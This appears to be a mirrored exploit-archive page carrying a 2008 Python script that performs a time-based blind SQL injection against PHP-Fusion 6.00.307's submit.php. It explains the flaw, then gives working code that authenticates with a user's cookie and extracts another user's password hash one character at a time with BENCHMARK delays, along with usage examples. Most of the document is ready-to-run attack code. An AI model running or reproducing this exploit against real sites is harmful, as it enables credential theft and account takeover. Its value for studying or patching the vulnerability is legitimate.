477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
159 lines
9.2 KiB
Python
Executable file
159 lines
9.2 KiB
Python
Executable file
#!/usr/bin/python
|
|
"""
|
|
#=================================================================================================#
|
|
# ____ __________ __ ____ __ #
|
|
# /_ | ____ |__\_____ \ _____/ |_ /_ |/ |_ #
|
|
# | |/ \ | | _(__ <_/ ___\ __\ ______ | \ __\ #
|
|
# | | | \ | |/ \ \___| | /_____/ | || | #
|
|
# |___|___| /\__| /______ /\___ >__| |___||__| #
|
|
# \/\______| \/ \/ #
|
|
#=================================================================================================#
|
|
# This was a priv8 Exploit #
|
|
#=================================================================================================#
|
|
# PHP-Fusion 6.00.307 #
|
|
# And Probably All Other Versions #
|
|
# Blind Sql Injection Vulnerability #
|
|
# Benchmark Method #
|
|
#====================================#===========#====================================#===========#
|
|
# Server Configuration Requirements # # Some Information # #
|
|
#====================================# #====================================# #
|
|
# # #
|
|
# magic_quotes_gpc = 0 # Vendor: php-fusion.co.uk #
|
|
# # Author: The:Paradox #
|
|
#================================================# Severity: Moderately Critical #
|
|
# # #
|
|
# Oh wow no-content space! Enjoy it! # Proud To Be Italian. #
|
|
# # #
|
|
#====================================#===========#================================================#
|
|
# Proof Of Concept / Bug Explanation # #
|
|
#====================================# #
|
|
# PHP-Fusion presents a critical vulnerability in submit.php page. Let's see source: #
|
|
#=================================================================================================#
|
|
|
|
[Submit.php]
|
|
|
|
1. if ($stype == "l") {
|
|
2.
|
|
3. if (isset($_POST['submit_link'])) {
|
|
4.
|
|
5. if ($_POST['link_name'] != "" && $_POST['link_url'] != "" && $_POST['link_description'] != "") {
|
|
6. $submit_info['link_category'] = stripinput($_POST['link_category']);
|
|
7. $submit_info['link_name'] = stripinput($_POST['link_name']);
|
|
8. $submit_info['link_url'] = stripinput($_POST['link_url']);
|
|
9. $submit_info['link_description'] = stripinput($_POST['link_description']);
|
|
10. $result = dbquery("INSERT INTO ".$db_prefix."submissions (submit_type, submit_user, submit_datestamp, submit_criteria) VALUES ('l', '".$userdata['user_id']."', '".time()."', '".serialize($submit_info)."')");
|
|
|
|
#=================================================================================================#
|
|
# Look to the sql query. #
|
|
# There are two variables: $userdata['user_id'] and a serialized array $submit_info. #
|
|
# The user_id is an intval value and array values link_category, link_name, link_url and #
|
|
# link_description are correctly cleaned via fusions' stripinput() function. #
|
|
# #
|
|
# All seems pretty cleaned. #
|
|
# But what would happen if we set another value into submit_info[] array via gpc vars? #
|
|
# It will be set in the serialized array, and obvious it will not checked by stripinput. #
|
|
# Sql Injection possibility! #
|
|
# #
|
|
# Let's see: #
|
|
# #
|
|
# Host: 127.0.0.1 #
|
|
# POST PHP-Fusion/submit.php?stype=l #
|
|
# link_category=1 link_name=1 link_url=1 link_description=1 submit_info[paradox]=' submit_link=1 #
|
|
# #
|
|
# It will result in sql error in case of Mq = 0 : #
|
|
# #
|
|
# You have an error in your SQL syntax; check [...] #
|
|
# #
|
|
#=================================================================================================#
|
|
# Normally to make this trick working register_globals = 1 is needed, but in php-fusion uses #
|
|
# extract() to simulate register_globals when it is set to 0. #
|
|
#=================================================================================================#
|
|
# Use this at your own risk. You are responsible for your own deeds. #
|
|
#=================================================================================================#
|
|
# Python Exploit Starts #
|
|
#=================================================================================================#
|
|
"""
|
|
|
|
from httplib import HTTPConnection
|
|
from urllib import urlencode
|
|
from time import time
|
|
from sys import exit, argv, stdout
|
|
from md5 import new
|
|
|
|
print """
|
|
#=================================================================#
|
|
# PHP-Fusion v6.00.307 #
|
|
# And Probably All Other Versions #
|
|
# Blind Sql Injection Vulnerability #
|
|
# Benchmark Method #
|
|
# #
|
|
# Discovered By The:Paradox #
|
|
# #
|
|
# Usage: #
|
|
# ./fusiown [Target] [Path] [ValidId] [ValidPass] [TargetUserid] #
|
|
# #
|
|
# Example: #
|
|
# ./fusiown localhost /phpfusion/ 40 s3cr3t 1 #
|
|
# ./fusiown www.host.org / 791 myp4ssw0rd 1 #
|
|
#=================================================================#
|
|
"""
|
|
|
|
if len(argv)<=5: exit()
|
|
else: print "[.]Exploit Starting."
|
|
|
|
prefix = "fusion_"
|
|
benchmark = "230000000"
|
|
vtime = 6
|
|
port = 80
|
|
|
|
target = argv[1]
|
|
path = argv[2]
|
|
cuid = argv[3]
|
|
cpass = argv[4]
|
|
uid = argv[5]
|
|
|
|
j=1
|
|
h4sh = ""
|
|
ht = []
|
|
|
|
for k in range(48,58):
|
|
ht.append(k)
|
|
for k in range(97,103):
|
|
ht.append(k)
|
|
ht.append(0)
|
|
|
|
def calc_md5(p):
|
|
|
|
hash = new()
|
|
hash.update(p)
|
|
return hash.hexdigest()
|
|
|
|
|
|
print "[.]Blind Sql Injection Starts.\n\nHash:"
|
|
while j <= 32:
|
|
for i in ht:
|
|
if i == 0: exit('[-]Exploit Failed.\n')
|
|
|
|
start = time()
|
|
conn = HTTPConnection(target,port)
|
|
|
|
inj = "' OR (SELECT IF((ASCII(SUBSTRING(user_password," + str(j) + ",1))=" + str(i) + "),benchmark(" + benchmark + ",CHAR(0)),0) FROM " + prefix + "users WHERE user_id=" + uid + "))# BH > WH"
|
|
|
|
conn.request("POST", path + "submit.php?stype=l", urlencode({'link_category': '1', 'link_name': '1', 'link_url': '1', 'link_description': '1', 'submit_link' : 'Submit+Link', 'submit_info[cGd0MQ==]' : inj }), {"Accept": "text/plain", "Content-Type" : "application/x-www-form-urlencoded","Cookie": "fusion_user=" + cuid + "." + calc_md5(cpass) + ";"})
|
|
response = conn.getresponse()
|
|
read = response.read()
|
|
|
|
|
|
if response.status == 404: exit('[-]Error 404. Not Found.')
|
|
now = time()
|
|
|
|
if now - start > vtime:
|
|
stdout.write(chr(i))
|
|
stdout.flush()
|
|
h4sh += chr(i)
|
|
j += 1
|
|
break;
|
|
|
|
print "\n\n[+]All Done.\n-=Paradox Got This One=-"
|
|
|
|
# milw0rm.com [2008-04-19]
|